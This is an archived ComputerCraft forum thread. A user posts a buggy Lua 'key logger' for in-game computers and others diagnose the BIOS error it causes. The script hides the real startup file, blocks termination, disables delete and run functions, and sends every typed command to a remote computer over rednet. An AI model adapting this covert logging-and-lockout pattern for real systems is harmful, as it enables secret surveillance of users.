This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
Tron's profile picture

Bios Error :/ [Solved]

Started by Tron, 08 November 2012 - 02:21 PM
Tron #1
Posted 08 November 2012 - 03:21 PM
I was making a key logger program, and after disabling shell.run, io.delete, fs.delete I now get a BIOS error, What is wrong with this code? (The bios error is on line 156 of bios)

id = 223
io.delete = write
fs.delete = write
programr = {["run"] = shell.run}
shell.run = write
os.run = write
os.pullEvent = os.pullEventRaw
ranyet = 2
space = " "
program = space
arg1 = space
arg2 = space
arg3 = space
arg4 = space
arg5 = space
rednet.open("right")
rednet.open("left")
rednet.open("top")
rednet.open("back")
rednet.open("bottom")
rednet.open("front")
if fs.exists("startup1") then
programr.run("startup1")
end
while true do
program = space
arg1 = space
arg2 = space
arg3 = space
arg4 = space
arg5 = space
c = 1
term.setTextColor(colors.yellow)
write("> ")
term.setTextColor(colors.white)
textenter = read()
for w in string.gmatch(textenter, "%a+") do
if c == 1 then
program = w
elseif c == 2 then
arg1 = w
elseif c == 3 then
arg2 = w
elseif c == 4 then
arg3 = w
elseif c == 5 then
arg4 = w
else
arg5 = w
end
c = c+1
end
c = 1
if program == "edit" then
if arg1 == "startup" then
programr.run("edit", ".startup1")
rednet.send(id, program .. " " .. arg1 .. " " .. arg2 .. " " .. arg3 .. " " .. arg4 .. " " .. arg5 .. " ")
ranyet = 1
end
end
if program == "rm" or "remove" then
if arg1 == "startup" then
programr.run("rm", ".startup1")
rednet.send(id, program .. " " .. arg1 .. " " .. arg2 .. " " .. arg3 .. " " .. arg4 .. " " .. arg5 .. " ")
ranyet = 1
end
end
if program == "mv" or "move" then
if arg1 == "startup" then
programr.run("mv", ".startup1", arg2)
end
end
if not program == "rm" or "remove" or "edit" or "mv" or "move" then
if ranyet == 2 then
programr.run(program, arg1, arg2, arg3, arg4, arg5)
rednet.send(id, program .. " " .. arg1 .. " " .. arg2 .. " " .. arg3 .. " " .. arg4 .. " " .. arg5 .. " ")
ranyet = 1
end
end
if not arg1 == "startup" then
if ranyet == 2 then
programr.run(program, arg1, arg2, arg3, arg4, arg5)
rednet.send(id, program .. " " .. arg1 .. " " .. arg2 .. " " .. arg3 .. " " .. arg4 .. " " .. arg5 .. " ")
end
end
ranyet = 2
end
It only does the BIOS error AFTER running the program once.
Yes, I know I should have used functions for the rednet.send, and other ways to shorten code, also I know this code is complicated.
Thanks PixelToast!
Orwell #2
Posted 08 November 2012 - 03:24 PM
Can you give the exact error? It says more than the file and the line, it also says what went wrong. :P/>/> Also, if all you give us is the line in the bios, we need to know which version of CC you're using as the bios.lua files differ.
PixelToast #3
Posted 08 November 2012 - 03:32 PM
io.delete isnt a function
when you try to overwrite a nonexistant function on a protected table it throws an error
Orwell #4
Posted 08 November 2012 - 04:05 PM
Lucky for him there are some good willing people like you PixelToast. :P/>/>
PixelToast #5
Posted 08 November 2012 - 04:47 PM
Lucky for him there are some good willing people like you PixelToast. :P/>/>
;D